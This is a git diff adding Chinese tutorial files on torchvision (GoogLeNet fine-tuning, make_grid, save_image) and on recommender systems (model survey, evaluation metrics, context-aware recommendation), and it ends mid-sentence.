实例化一个 GoogLeNet 网络 + +如果我们直接把一个网络模型的类实例化,就会得到一个网络模型。而这个网络模型的类可以是我们自己定义的结构,也可以是按照经典模型的论文设计出来的结构。其实你自己按照经典模型的论文写一个类,然后实例化一下,这和从 Torchvision 中直接实例化一个网络效果是相同的。 + +下面我们就以 GoogLeNet 网络为例,来说说如何使用 torchvision.models 模块实例化一个网络。 + +GoogLeNet 是 Google 推出的基于 Inception 模块的深度神经网络模型。GoogLeNet 获得了 2014 年的 ImageNet 竞赛的冠军,并且相比之前的 AlexNet、VGG 等结构能更高效地利用计算资源。GoogLeNet 也被称为 Inception V1,在随后的两年中它一直在改进,形成了 Inception V2、Inception V3 等多个版本。 + +我们可以使用随机初始化的权重,创建一个 GoogLeNet 模型,具体代码如下: + +``` +import torchvision.models as models +googlenet = models.googlenet() +``` + +这时候的 GoogLeNet 模型,相当于只有一个实例化好的网络结构,里面的参数都是随机初始化的,需要经过训练之后才能使用,并不能直接用于预测。 + +torchvision.models 模块除了包含了定义好的网络结构,还为我们提供了预训练好的模型,我们可以直接导入训练好的模型来使用。导入预训练好的模型的代码如下: + +``` +import torchvision.models as models +googlenet = models.googlenet(pretrained=True) +``` + +可以看出,我们只是在实例化的时候,引入了一个参数“pretrained=True”,即可获得预训练好的模型,因为所有的工作 torchvision.models 模块都已经帮我们封装好了,用起来很方便。torchvision.models 模块中所有预训练好的模型,都是在 ImageNet 数据集上训练的,它们都是由 PyTorch 的 torch.utils.model_zoo 模块所提供的,并且我们可以通过参数 pretrained=True 来构造这些预训练模型。 + +如果之前没有加载过带预训练参数的网络,在实例化一个预训练好的模型时,模型的参数会被下载至缓存目录中,下载一次后不需要重复下载。这个缓存目录可以通过环境变量 TORCH_MODEL_ZOO 来指定。当然,你也可以把自己下载好的模型复制到指定路径中。 + +在实例化时,只需要修改网络的类名,即可做到举一反三。torchvision.models 模块中可实例化的全部模型详见这个[网页](https://pytorch.org/vision/stable/models.html)。 + +### 模型微调 + +完成了刚才的工作,你可能会疑惑,实例化了带预训练参数的网络有什么用呢?其实它除了可以直接用来做预测使用,还可以基于它做网络模型的微调,也就是“fine-tuning”。 + +那什么是“fine-tuning”呢?举个例子,假设你的老板给布置了一个有关于图片分类的任务,数据集是关于狗狗的图片,让你区分图片中狗的种类,例如金毛、柯基、边牧等等。 + +问题是数据集中狗的类别很多,但数据却不多。你发现从零开始训练一个图片分类模型,但这样模型效果很差,并且很容易过拟合。这种问题该如何解决呢?于是你想到了使用迁移学习(自行了解,这里不再赘述),可以用已经在 ImageNet 数据集上训练好的模型来达成你的目的。 + +例如上面我们已经实例化的 GoogLeNet 模型,只需要使用我们自己的数据集,重新训练网络最后的分类层,即可得到区分狗种类的图片分类模型。这就是所谓的“fine-tuning”方法。模型微调,简单来说就是先在一个比较通用、宽泛的数据集上进行大量训练得出了一套参数,然后再使用这套预训练好的网络和参数,在自己的任务和数据集上进行训练。使用经过预训练的模型,要比使用随机初始化的模型训练效果更好,更容易收敛,并且训练速度更快,在小数据集上也能取得比较理想的效果。 + +那新的问题又来了,为什么模型微调如此有效呢?因为我们相信同样是处理图片分类任务的两个模型,网络的参数也具有某种相似性。因此,把一个已经训练得很好的模型参数迁移到另一个模型上,同样有效。即使两个模型的工作不完全相同,我们也可以在这套预训练参数的基础上,经过微调性质的训练,同样能取得不错的效果。 + +ImageNet 数据集共有 1000 个类别,而狗的种类远远达不到 1000 类。因此,加载了预训练好的模型之后,还需要根据你的具体问题对模型或数据进行一些调整,通常来说是调整输出类别的数量。 + +假设狗的种类一共为 10 类,那么我们自然需要将 GoogLeNet 模型的输出分类数也调整为 10。对预训练模型进行调整对代码如下: + +``` +import torch +import torchvision.models as models + +# 加载预训练模型 +googlenet = models.googlenet(pretrained=True) + +# 提取分类层的输入参数 +fc_in_features = googlenet.fc.in_features +print("fc_in_features:", fc_in_features) + +# 查看分类层的输出参数 +fc_out_features = googlenet.fc.out_features +print("fc_out_features:", fc_out_features) + +# 修改预训练模型的输出分类数,输入层保持不变,将输出层调整为10 +googlenet.fc = torch.nn.Linear(fc_in_features, 10) +''' +输出: +fc_in_features: 1024 +fc_out_features: 1000 +' +``` + +首先,你需要加载预训练模型,然后提取预训练模型的分类层固定参数,最后修改预训练模型的输出分类数为 10。根据输出结果,我们可以看到预训练模型的原始输出分类数是 1000。 + +## 其他常用函数 + +之前在 torchvision.transforms 中,我们学习了很多有关于图像处理的函数,Torchvision 还提供了几个常用的函数,make_grid 和 save_img,让我们依次来看一看它们又能实现哪些有趣的功能。 + +### make_grid + +make_grid 的作用是将若干幅图像拼成在一个网格中,它的定义如下。 + +``` +torchvision.utils.make_grid(tensor, nrow=8, padding=2) +``` + +定义中对应的几个参数含义如下: + +- tensor:类型是 Tensor 或列表,如果输入类型是 Tensor,其形状应是 (B x C x H x W);如果输入类型是列表,列表中元素应为相同大小的图片。 +- nrow:表示一行放入的图片数量,默认为 8。 +- padding:子图像与子图像之间的边框宽度,默认为 2 像素。 + +make_grid 函数主要用于展示数据集或模型输出的图像结果。我们以 MNIST 数据集为例,整合之前学习过的读取数据集以及图像变换的内容,来看一看 make_grid 函数的效果。 + +下面的程序利用 make_grid 函数,展示了 MNIST 的测试集中的 32 张图片: + +``` +import torchvision +from torchvision import datasets +from torchvision import transforms +from torch.utils.data import DataLoader + +# 加载MNIST数据集 +mnist_dataset = datasets.MNIST(root='./data', + train=False, + transform=transforms.ToTensor(), + target_transform=None, + download=True) +# 取32张图片的tensor +tensor_dataloader = DataLoader(dataset=mnist_dataset, + batch_size=32) +data_iter = iter(tensor_dataloader) +img_tensor, label_tensor = data_iter.next() +print(img_tensor.shape) +''' +输出:torch.Size([32, 1, 28, 28]) +''' +# 将32张图片拼接在一个网格中 +grid_tensor = torchvision.utils.make_grid(img_tensor, nrow=8, padding=2) +grid_img = transforms.ToPILImage()(grid_tensor) +display(grid_img) +``` + +结合代码我们可以看到,程序首先利用 torchvision.datasets 加载 MNIST 的测试集,然后利用 DataLoader 类的迭代器一次获取到 32 张图片的 Tensor,最后利用 make_grid 函数将 32 张图片拼接在了一幅图片中。 + +![](static/boxcnV9TkSXbk73Hb128TSEGpud.png) + +MNIST 的测试集中的 32 张图片,如下图所示,这里我要特别说明一下,因为 MNIST 的尺寸为 28x28,所以测试集里的手写数字图片像素都比较低,但这并不影响动手实践。 + +### save_img + +一般来说,在保存模型输出的图片时,需要将 Tensor 类型的数据转化为图片类型才能进行保存,过程比较繁琐。Torchvision 提供了 save_image 函数,能够直接将 Tensor 保存为图片,即使 Tensor 数据在 CUDA 上,也会自动移到 CPU 中进行保存。 + +save_image 函数的定义如下: + +``` +torchvision.utils.save_image(tensor, fp, **kwargs) +``` + +这些参数也很好理解: + +- tensor:类型是 Tensor 或列表,如果输入类型是 Tensor,直接将 Tensor 保存;如果输入类型是列表,则先调用 make_grid 函数生成一张图片的 Tensor,然后再保存。 +- fp:保存图片的文件名; +- **kwargs:make_grid 函数中的 nrow 和 padding 两个参数。 + +我们接着上面的小例子,将 32 张图片的拼接图直接保存,代码如下: + +``` +# 输入为一张图片的tensor 直接保存 +torchvision.utils.save_image(grid_tensor, 'grid.jpg') + +# 输入为List 调用grid_img函数后保存 +torchvision.utils.save_image(img_tensor, 'grid2.jpg', nrow=5, padding=2) +``` + +当输入为一张图片的 Tensor 时,直接保存,保存的图片如下所示。 + +![](static/boxcns6XIPrRoAzgcmiMQKLdOfe.png) + +当输入为 List 时,则会先调用 make_grid 函数,make_grid 函数的参数直接加在后面即可,代码中令 nrow=5,保存的图片如下所示。这时我们可以看到图片中,每行中有 5 个数字,最后一行不足的数字,已经自动填充了空图像。 + +![](static/boxcnVubBDtWqXdR1rGgLBIPhUh.png) + +torchvision.models 模块为我们提供了深度学习中各种经典的网络结构以及训练好的模型,我们不仅可以实例化一个随机初始化的网络模型,还可以实例化一个预训练好的网络模型。 + +模型微调可以让我们在自己的小数据集上快速训练模型,并取得比较理想的效果。但是我们需要根据具体问题对预训练模型或数据进行一些修改,你可以灵活调整输出类别的数量,或者调整输入图像的大小。 + +小任务: + +请使用 torchvision.models 模块实例化一个 VGG 16 网络。 + +极客时间版权所有: [https://time.geekbang.org/column/article/431420](https://time.geekbang.org/column/article/431420) + +(有删改) diff --git a/4.人工智能/4.6.5.4数据预处理(torchvision).md b/4.人工智能/4.6.5.4数据预处理(torchvision).md new file mode 100644 index 0000000..8965a32 --- /dev/null +++ b/4.人工智能/4.6.5.4数据预处理(torchvision).md @@ -0,0 +1,17 @@ +# 数据预处理(torchvision) + +不管我们的网络设计的有多复杂,选择什么样的优化器和损失函数,我们在训练模型时首先需要面对的是如何处理我们的数据。最简单的一个问题,我们需要怎么把数据拿过来送进我们的网络中呢(数据读取)。还有,我们把数据送进去之前还需要对其进行一些什么操作呢。 + +PyTorch 为我们提供了丰富的 API 以供我们方便的进行学习。 + +torchvision 是 pytorch 的一个图形库,其中还提供一些常用的数据集和几个已经搭建好的经典网络模型,以及一些图像数据处理方面的工具,主要供数据预处理阶段使用。它服务于 PyTorch 深度学习框架,主要用来构建计算机视觉模型。以下是 torchvision 的构成: + +torchvision.datasets: 一些加载数据的函数及常用的数据集接口; + +torchvision.models: 包含常用的模型结构(含预训练模型),例如 AlexNet、VGG、ResNet 等; + +torchvision.transforms: 常用的图片变换,例如裁剪、旋转等; + +torchvision.utils: 其他的一些有用的方法。 + +这部分是讲解如何读取数据集和处理数据集,如果你不是想真正上手写深度学习的代码,可以无视这块。 diff --git a/4.人工智能/4.6.5计算机视觉(CV).md b/4.人工智能/4.6.5计算机视觉(CV).md new file mode 100644 index 0000000..d460cb4 --- /dev/null +++ b/4.人工智能/4.6.5计算机视觉(CV).md @@ -0,0 +1 @@ +# 计算机视觉(CV) diff --git a/4.人工智能/4.6.6.1NLP领域任务(研究目标).md b/4.人工智能/4.6.6.1NLP领域任务(研究目标).md new file mode 100644 index 0000000..ca62ca2 --- /dev/null +++ b/4.人工智能/4.6.6.1NLP领域任务(研究目标).md @@ -0,0 +1,29 @@ +# NLP 领域任务(研究目标) + +下面给出了 NLP 的四大常见的应用。由于预训练的模型是在连续的文本序列上训练的,所以需要进行一些修改才能将其应用于不同的这些 NLP 任务。 + +分类 (text classification): 给一句话或者一段文本,判断一个标签。 + +![](static/PxE3b05ApofzZ1x8u49cirdUnye.png) + +图 2:分类 (text classification) + +蕴含 (textual entailment): 给一段话,和一个假设,看看前面这段话有没有蕴含后面的假设。 + +![](static/OuhabfzABoqxQxxS1n1cPLTinKb.png) + +图 3:蕴含 (textual entailment) + +相似 (Similarity): 判断两段文字是否相似。 + +![](static/ByeFbxTfToxFlgxh6xmcIKeRnzd.png) + +图 4:相似 (Similarity) + +多选题 (Multiple Choice): 给个问题,从 N 个答案中选出正确答案。 + +![](static/ZYgybsj5dol1Ifx96Koc6SRpnmc.jpeg) + +图 5:多选题 (Multiple Choice) + +可以看出,随着任务类型的变化,就需要构造不同的输入形式,把不同的子任务统一成相同的输入形式。但是,不变的是 Transformer 模型的结构。所有转换都包括添加随机初始化的开始 (Start) 和结束 (Extract) tokens,有的包括分隔符 Delimiter tokens (Delim)。 diff --git a/4.人工智能/4.6.6.2.1推荐系统经典模型综述.md b/4.人工智能/4.6.6.2.1推荐系统经典模型综述.md new file mode 100644 index 0000000..099cb77 --- /dev/null +++ b/4.人工智能/4.6.6.2.1推荐系统经典模型综述.md @@ -0,0 +1,180 @@ +# 推荐系统经典模型综述 + +Author: 周东霖 + +# 概论 + +## 1.1 摘要 + +推荐系统技术最早起源于上世纪末和本世纪初,最早是数据挖掘领域最为经典的应用之一。2012 年至 2015 年,机器学习技术进入推荐系统领域,使得这项古老的应用再次发光发热。 2016 年以来,随着深度学习的发展,大规模算力、大数据的应用的逐渐普及,基于深度学习的推荐系统研究再次成为行业热点,在工业界和学术界都占据极其重要之地。 + +本文旨在回顾经典的推荐系统经典模型和研究思路,但并不提供具体的推导方案,并讨论它们各自的优缺点。希望能够为后来入坑者提供一些思路。由于是个人观点陈述,未免存在遗漏和评价不当之嫌,望请见谅。 + +## 1.2 关键术语: + +Recommender Systems(RS) : 推荐系统 + +Information overlaod: 信息过载 + +user:用户 + +item:物品 + +feedback:用户反馈 + +explicit feedback:显式反馈,例如用户评分 + +implicit feedback:隐式反馈,浏览、点击、购买等行为 + +## 1.3 主要任务 + +推荐系统的主要任务包括两方面: + +评分预测(rating prediction) + +物品推荐(item recommendation) + +## 1.4 评价方式和评价指标 + +学术界通常采用离线方式进行评估,一般进行 N 折交叉验证。 + +优点:依赖数据集、容易验证和评估; + +缺点:无法直接反映商业需求。 + +工业界常采用在线测试,比如 A/B test。 + +优点:和商业需求紧密挂钩。 + +缺点:成本高、风险大。 + +对于评分预测任务,常用评价指标包括: + +Root Mean Squared Error (RMSE) +Mean Absolute Error (MAE) + +对于物品推荐任务,常用评价指标包括: + +Precision、Recall、F-measure、Hit Ratio(HR) +Average Precision (AP)、Mean Average Precision(MAP) +Area Under the ROC Curve (AUC)、Mean Reciprocal Rank (MRR) + +Normalized Discounted Cumulative Gain (NDCG) + +通常情况下,常用 @N 表示推荐前 N 个物品的性能,即 Top-N 推荐。近几年的论文常常采用 HR、NDCG 作为评价指标。 + +# 经典 SOTA + +## 2.1 协同过滤(collaborative filtering, CF) + +协同过滤是最早的一种推荐系统技术,最早用于电影推荐系统。最早开启这项研究的是明尼苏达大学的研究小组(GroupLens),随后,亚马逊研发了基于物品的协同过滤算法,并开始将 RS 部署上线,正式推向工业界。 + +协同过滤的方法主要包括两大类: + +- User-based CF:基于用户的协同过滤[1] +- Item-based CF:基于物品的协同过滤[2,3] + +## 2.2 分解模型(Factorization model) + +最早的推荐系统采用的是邻域模型(neighborhood),本质上是计算物品和用户的相似度进行推荐。但是这种方法存在两个致命缺点: + +- 稀疏性(sparsity):实际应用(例如大型电商平台)中,数据非常稀疏,两个用户购买物品存在交集的情况非常少。 +- 维度灾难:用户向量维度高、物品向量维度高,导致计算成本高,且无法保证准确度。 + +由此,分解模型横空出世。最为经典的分解模型就是矩阵分解(Matirx Factorization, MF)[4]。它的理论基础来源于奇异值分解 SVD(Singular Value Decomposition)。 基于 SVD 理论,评分矩阵可被分解成用户和物品的潜在因子,潜在因子的维度 k 远小于用户数量 m 和物品数量 n,由此可以大大降低计算量。(可以看作是后来的 embedding 技术的一个简化版) + +Koren 等人提出 MF 以后,开始在最基础的矩阵分解模型上加入各种辅助信息,并衍生出分解模型的高阶版本,比如 SVD++,TimeSVD++,WRMF,BPR,SLIM 等等。 + +其中,特别推荐几个经典模型,它们的一些思想直到今天仍然未过时,也是学习分解模型的必备。 + +- SVD++[4]:加入了邻域信息之后的矩阵分解 +- BPR[5]:采用贝叶斯概率思想,引入隐式反馈优化 + +## 2.3 高阶分解模型(high order factorization model) + +矩阵分解模型包括用户和物品两类因子,在处理额外信息比如时间、标签时存在局限。处理额外信息的另一种直接做法是使用张量分解,主要的经典模型包括基于马尔可夫的分解模型 FPMC(Factorizing Personalized Markov Chains)。但是高阶张量分解开销十分巨大,各阶的交互方式不灵活。 + +提到高阶分解模型,不得不提推荐系统领域的元老级人物——Rendle。他提出的因子分解机模型——Factorization machines,几乎杀遍所有数据挖掘竞赛,霸榜 SOTA 数年,引领数年风骚[6]。FM——因子分解机,可以将多种信息进行高阶交互(二阶、三阶等等),但是一般到二阶以后,训练将变得异常困难,计算量也急剧增加。 + +当然,高阶分解的另一个相似模型,就是学术界明星-华人陈天奇在上海交大读研时提出的 SVDFeature 模型[7]。在原始论文中,FM 模型称 SVDFeature 模型仅仅是高阶 FM 的一个泛化。 + +后来陈天奇赴美留学,将梯度树的性能提升到极致,也就是经典 XGBoost 模型[8],也霸榜 SOTA 数年,一时风光无两。SVDFeature 库是上海交大实验室采用 C++ 编写,XGBoost 开源版本很多,建议可以阅读前人开源代码,增加代码能力。同时,在机器学习时代,原版论文涉及很多数学推导和梯度计算,阅读这些论文,也是增进个人内功的很好法门。 + +## 2.4 深度模型(deep-learning models) + +深度模型进入推荐系统领域大概是 16 年左右,最早将深度模型应用于推荐领域的应用主要是在评论文本挖掘领域。 + +评论信息中包含用户偏好、评价等反馈信息。研究者将 CNN 引入推荐系统领域,将文本映射成 word vector,并采用卷积网络训练,将 CNN 和传统的矩阵分解结合,并套上一个概率的外壳进行解释。这方面的工作主要包括 ConvMF[9]、DeepCoNN[10]。 + +基于 CNN 的模型主要是应用于评论文本挖掘和可解释性推荐方面,但是这种方法的计算量非常大,并且准确率不高,难以训练。个人认为这种方法仅仅是新奇,并不具备特别大的商业价值。对于推荐这种时效性非常强的应用,训练一个几百亿数量级的文本挖掘模型,却非用于自然语言领域,产生的价值和消耗的资源不成正比。 + +何向南在 2017 年提出 NCF,将神经网络结合协同过滤——深度协同过滤,霸榜 SOTA[11]。从此,推荐系统几乎被深度学习攻陷,各种方法层出不穷。他在中科大的团队同时开发了 NeuRec 开源框架——一个基于 Tensorflow 的推荐框架,适合新手入门。 + +在工业界方面,最早将深度学习应用于推荐系统领域的是 YouTobe,它的大规模推荐系统分成两步——排序和召回。排序阶段是初排,将百万级别数量级的物品进行排序,选出几百个候选物品;召回阶段是精排,根据物品特征和用户偏好对几百个物品进行细粒度排序。 + +## 2.5 序列推荐(sequential recommender) + +前面介绍了机器学习时代的几种经典模型,接下来介绍深度序列推荐。Session based SRs 是会话推荐,Sequential recommender 是序列推荐。前者是指一个用户在一个 session 当中的点击序列,而后者更关注于物品序列顺序本身,而与用户无关。但是两者之间有着非常相似而密切的联系。 + +最早开始将深度引入会话推荐的模型是 GRU4Rec[12],它直接将 RNNs 用于会话推荐系统,并采用 zero-padding 补齐序列长度不一致的问题。实际上,Padding 是常见的序列补齐技术,但是值得注意的是,有些开源代码采用的是左补齐(在序列的左边补齐,如 RecBole),有些采用的是右补齐(如 GRU4Rec,SASRec)。 + +2018 年的 ICDM 顶会上,加州大学圣地亚哥分校的 McAuley 团队(推荐系统领域的又一个大牛)提出的 SASRec[13],直接将注意力机制用于序列推荐,完成 SOTA。原论文的实验部分设置十分精彩,值得论文初写者模仿和借鉴。 + +从此以后,基于 attention-based 的模型开始百花齐放,比如加入物品序列和物品特征序列的双路注意力 FDSA[14]、使用双向注意力机制的 BERT4Rec[15]等等。 + +20 年以来,由于图神经的方法渐渐成为研究热点。基于图网络的推荐系统也引起了学术界的兴趣。SR-GNN[16]是最近将 GNN 的方法用于会话推荐系统。随后,各种图方法开始爆发,目前主流的图神经网络方法包括清华大学和快手联合推出的 SURGE[17]。 + +# 主要会议和期刊 + +- ACM Conference on Recommender System (RecSys): 推荐系统顶会 +- ACM SIGKDD International Conference on Knowledge Discovery and Data Mining. KDD 竞赛,数据挖掘顶会 +- IEEE International Conference on Data Mining : ICDM,数据挖掘顶会 +- International Joint Conference on Artificial Intelligence: IJCAI +- **ACM the Web Conference**: 3W +- **ACM International Conference on Web Search and Data Mining**:WSDM +- **ACM International Conference on Informaiton and Knowledge Management**:CIKM + +# 国内外大牛 Follow + +- Koren: 矩阵分解模型提出者,2009 年 Netflix prize 获得者 +- Steffen Rendle: FM 系列提出者,工业界推荐系统大牛 +- 何向南:中科大教授,NUS 博士,百万青橙奖得主,国内学术界推荐大牛,开源 NeuRec +- McAuley:加州大学圣地亚哥分校教授,北美推荐系统领域大牛,SASRec 模型 +- 赵鑫:中国人民大学教授,联合开发 Recbole 开源库 + +# 参考文献 + +[1]Breese et al. 1998. Empirical analysis of predictive algorithms for collaborative filtering. In Proceedings of the Fourteenth conference on Uncertainty in artificial intelligence (UAI'98), 43–52. + +[2]G. Linden J. Jacobi and E. Benson, Collaborative Recommendations Using Item-to Item Similarity Mappings, US Patent 6,266,649 (to Amazon.com), Patent and Trademark Office, Washington, D.C., 2001 + +[3]Sarwar et al., Item-based collaborative filtering recommendation algorithms, Proceedings of the 10th international conference on World Wide Web, p.285-295, +May 01-05, 2001, Hong Kong + +[4] Koren, Y. 2008. Factorization meets the neighborhood: A multifaceted collaborative filtering model [C]. Proceedings of the 14th ACM SIGKDD International Conference on Knowledge Discovery and Data Mining. KDD ’08. Las Vegas, Nevada, USA: ACM, 426–434 + +[5] Rendle, S., Freudenthaler, C., Gantner, Z., and Schmidt-Thieme, L. 2009b. Bpr: Bayesian personalized ranking from implicit feedback [C]. Proceedings of the Twenty-Fifth Conference on Uncertainty in Artificial Intelligence. UAI ’09. Montreal, Quebec, Canada, 452–461. + +[6] Rendle, S. 2013. Scaling factorization machines to relational data [C]. Proceedings of the 39th International Conference on Very Large Data Bases. volume 6 of Proc. VLDB Endow. Riva del Garda, Trento, Italy: VLDB Endowment, 337–348. + +[7] Chen, T., Zhang, W., Lu, Q., Chen, K., Zheng, Z., and Yu, Y. 2012c. Svdfeature: a toolkit for feature-based collaborative filtering [J]. The Journal of Machine Learning Research, 13(1):3585–3588 + +[8] Chen, Tianqi, and Carlos Guestrin. "Xgboost: A scalable tree boosting system." Proceedings of the 22nd acm sigkdd international conference on knowledge discovery and data mining. 2016. + +[9]Kim, Donghyun, et al. "Convolutional matrix factorization for document context-aware recommendation." Proceedings of the 10th ACM conference on recommender systems. 2016. + +[10]Zheng, Lei, Vahid Noroozi, and Philip S. Yu. "Joint deep modeling of users and items using reviews for recommendation." Proceedings of the tenth ACM international conference on web search and data mining. 2017. + +[11]He, Xiangnan, et al. "Neural collaborative filtering." Proceedings of the 26th international conference on world wide web. 2017. + +[12] Hidasi, Balázs, et al. "Session-based recommendations with recurrent neural networks." arXiv preprint arXiv:1511.06939 (2015) + +[13] Kang, Wang-Cheng, and Julian McAuley. "Self-attentive sequential recommendation." 2018 IEEE International Conference on Data Mining (ICDM). IEEE, 2018. + +[14] Tingting Zhang, Pengpeng Zhao et al. Feature-level Deeper Self-Attention Network for Sequential Recommendation.2019. + +[15]Fei Sun, Jun Liu et al. BERT4Rec: Sequential Recommendation with Bidirectional Encoder Representations from Transformer.2019. + +[16]Shu Wu, Yuyuan Tang, Yanqiao Zhu, Liang Wang, Xing Xie, Tieniu Tan. Session-based Recommendation with Graph Neural Networks. 2019. + +[17]Jianxin et al., Sequential Recommendation with Graph Neural Networks. SIGIR 2021. diff --git a/4.人工智能/4.6.6.2.2.1《推荐系统实践》读后的一些想法.md b/4.人工智能/4.6.6.2.2.1《推荐系统实践》读后的一些想法.md new file mode 100644 index 0000000..5c5c9e4 --- /dev/null +++ b/4.人工智能/4.6.6.2.2.1《推荐系统实践》读后的一些想法.md @@ -0,0 +1,9 @@ +# 《推荐系统实践》读后的一些想法 + +- 说在前头的话: + 在对这本书进行阅读之前,我对于大模块知识的学习方式一无所知,所以就想借由学习推荐系统的知识,来构建属于自己的大模块知识学习方式。我把这个方向上的学习,更倾向于一种对于学习本身的探索,而不强求自己真正能掌握多少知识。出于以上的原因,我将要记录的东西更偏向于一种阅读完之后的自己的理解,相当于把别人的东西吃进去,嚼两口再吐出来。其中所产生的信息缺失或信息差错,还望读者体谅,对于一些存疑的地方,翻阅原著是最佳的方式,若是有自己的思考,敬请斧正。 +- 所以说,如果想对这方面有所了解的话,那我推荐您阅读原著,然后把文档中内容当成是复习或者是对照学习的资料,文档中的内容缺少了原文中生动形象的例子,对于刚接触者来说可能难以理解 +- 小人不才,在专业知识匮乏和自身水平较低的情况下,擅自对这书的内容下一个定义。全书所围绕的主题重点在于从数据的角度出发,进行推荐系统的构造,重点着墨于包括:基于用户的行为数据,基于标签数据,基于上下文信息,给予社交网络数据,这些一早就写在目录中的数据。 +- 书中的讲述深入浅出,如果愿意用心阅读作者的描述的话,很多的晦涩概念都被作者准确的描述了出来,再辅以一些实际例子,让整本书的阅读难度甚至降低到了兴趣者能读懂的程度。足以见到作者高超的笔力和深厚的理解。 +- 当然书中并没有一个完整推荐系统的代码,这方面的空缺建议辅佐另一本《深度学习推荐系统》和 fun-rec 开源社区中的代码进行学习。 +- 对于有想法了解推荐系统的人来说,这本书可以是一本合适的入门作品,书中对于推荐系统的定义和描述,足以让有想法的人对于这个领域有一个大概的了解。 diff --git a/4.人工智能/4.6.6.2.2.2推荐系统概念解释 and 一个好的推荐系统.md b/4.人工智能/4.6.6.2.2.2推荐系统概念解释 and 一个好的推荐系统.md new file mode 100644 index 0000000..28c1771 --- /dev/null +++ b/4.人工智能/4.6.6.2.2.2推荐系统概念解释 and 一个好的推荐系统.md @@ -0,0 +1,85 @@ +# 推荐系统概念解释 and 一个好的推荐系统 + +- 用户满意度 、 + + - 用户满意度是推荐系统测评的重要指标,但是实际上,用户满意度数据获得的方式十分有限,因为这是一种用户的主观情感。 + - 设计合适的方式对于用户的满意度进行回收分析,是改进推荐系统的一个很好的方式。这样的的方式包括但不限于,设计合适的调查问卷,在物品的购买结束后附上一份满意度调查。 + - 满意度在一些程度上可以细分为更加具体的信息。例如点击率,用户停留时间,转化率,完播率,或者是哔站视频点赞,三连的比例。 +- 预测准确度 + + - 召回率(Recall) + +$$ +Recall =\frac{\sum_{u\in U}{\vert R(u)\cap T(u) \vert}}{\sum_{u\in U \vert T(u)\vert}} +$$ + +``` +- 其中 $$R(u)$$ 是根据用户在训练集上的行为给用户做出的推荐列表, $$T(u)$$ 是用户在测试集上的行为列表。 + +- 召回率的意义?可以参考机器学习中留下的定义进行理解 +``` + +- 精确率 + +$$ +Precision =\frac{\sum_{u\in U}{\vert R(u)\cap T(u)\vert}}{\sum_{u\in U}{\vert R(u) \vert}} +$$ + +``` +- 其中 $$R(u)$$ 是根据用户在训练集上的行为给用户做出的推荐列表, $$T(u)$$ 是用户在测试集上的行为列表。 + +- 精确率的意义? +``` + +- 覆盖率 + + - 描述了一个系统对于物品长尾的发掘能力。 + - 覆盖率的一个定义可以是: + $$ + Coverage = \frac{\vert \bigcup_{u\in U}{R(u)}\vert}{\vert I \vert} + $$ + - 其中,用户集合为 + $$ + U$$ ,系统为每位用户推荐一个长度为 + $$ + + N + $$ + 的物品列表 + $$ + + R(u)$$ + - 覆盖率的意义:覆盖率越高,以为这系统中被推荐给用户的物品,占所有物品的比例越大,对于一个好的推荐系统,不仅需要有较高的用户满意度,还需要有较高的覆盖率。 + - 当然对于覆盖率的定义,不止以上的这一种,甚至说,在实际使用上,上述简单的覆盖率不足以支撑大规模复杂系统的覆盖率计算,所以如何对于覆盖率进行修正和更新?信息熵与基尼系数! + - 推荐了解,马太效应,一个强者更强,弱者更弱的效应,在推荐系统中也同样存在。 +- 多样性 + + - 假设, + $$ + s(i,j) + $$ + + 定义了物品 i 和 j 之间的相似度,给用户 + $$ + u$$ 的推荐列表 + $$ + + R(u) + $$ + 的多样性定义: + $$ + + Diversity = 1- \frac{\sum_{i,j\in R(u),i\ne j}{s(i,j)}}{\frac{1}{2}\vert R(u)\vert (\vert R(u)-1\vert)}$$ + - 推荐系统整体的多样性可以定义为,用户推荐列表多样性的平均值: + $$ + Diversity = \frac{1}{\vert U\vert}\sum_{u\in U}{Diversity(R(u))} + $$ +- 信任度 + + - 用户对于该系统的信任程度 +- 实时性 + + - 系统对于数据更新的时效性 +- 健壮性 + + - 系统对于外来攻击的防护性 diff --git a/4.人工智能/4.6.6.2.2.3利用上下文信息.md b/4.人工智能/4.6.6.2.2.3利用上下文信息.md new file mode 100644 index 0000000..d2a4269 --- /dev/null +++ b/4.人工智能/4.6.6.2.2.3利用上下文信息.md @@ -0,0 +1,216 @@ +# 利用上下文信息 + +# 概述 + +- 在对用户进行推荐时,用户所处的空间与时间会对用户的喜好产生影响。例如,最经典的例子,如果当前季节是冬天,推荐系统不应该给用户推荐短袖。这就是一个很经典的时间上下文。同样能被成为上下文信息的包括但不限于,心情,地点等能描述用户当前状态的信息。利用这些上下文信息,我们能将推荐系统的推荐更加精确。 +- 将重点讨论基于时间上下文信息的推荐系统 + +# 时间上下文 + +## 时间信息效应 + +- 时间信息对于用户的的影响可以主要分为以下几项: + + - 用户的兴趣是变化的 + 对于一个用户,其幼年时期和青年时期喜欢的动画片是不一样的;晴天和雨天想要的物品是不一样的;一个人开始工作前和开始工作后的需求也是不同的。 + 所以应该关注用户的近期行为,确定他的兴趣,最后给予用户推荐 + - 物品具有生命周期 + 流行物品会随着热度持续火爆一段时间,但最终会无人问津;生活必需品无论在什么时候都有稳定的需求量。 + - 季节效应 + 正如概述中列出的冬衣与夏衣的区别,应该在合适的季节给用户推荐合适的物品 + +## 系统时间特性分析 + +- 当系统由之前的静态系统变成随时间变化的时变系统后,需要关注特性也会发生变化,则需要重新观测一些数据,以推断系统的关于时间变化的特性。 + 下面是一些可以用来观测的数据: + + - 确定系统的用户增长数,以判断系统的增长情况或是衰退情况 + - 物品的平均在线天数,即将满足用户物品互动次数的物品标记为在线,测算物品的平均在线天数以标量物品的生命周期。 + - 系统的时效性,判断相隔一段时间的物品流行度向量的相似度,若是相隔一段时间的相似度仍然较大,说明经过一段时间后,该物品还是被大众喜欢,则说明这件物品具有持久流行性。而对于系统来说,若是系统中大量物品的相似度变化都不大,则说明这个系统是一个推荐热度较持久物品的系统,说明系统的时效性较弱。 + - 系统对于用户的黏着性,统计用户的平均活跃天数,或者计算相隔一段时间的用户活跃度,以此判断系统对于用户的留存力或者说黏着性。 + +## 推荐系统的实时性 + +- 当引入了时间上下文信息后,推荐系统就可以进行实时性推荐,就类似于观看完一个视频后,立马弹出一系列的相关推荐列表“猜你想看”,存在这样特性的推荐系统有如下的特征 + + - 实时推荐系统能根据用户的行为,实时计算推荐列表,而不是像之前所说的离线计算推荐列表 + - 推荐系统需要平衡用户短期行为和长期行为,用户的推荐列表需要体现其短期的兴趣变化,但是推荐列表的又不能完全受用户近期行为影响,需要保证推荐列表预测的延续性 + +## 推荐算法的时间多样性 + +- 想象这样一种情况,现在有 ABC 三个系统,A 系统为您推荐您最感兴趣的十样物品,但是不会更新。B 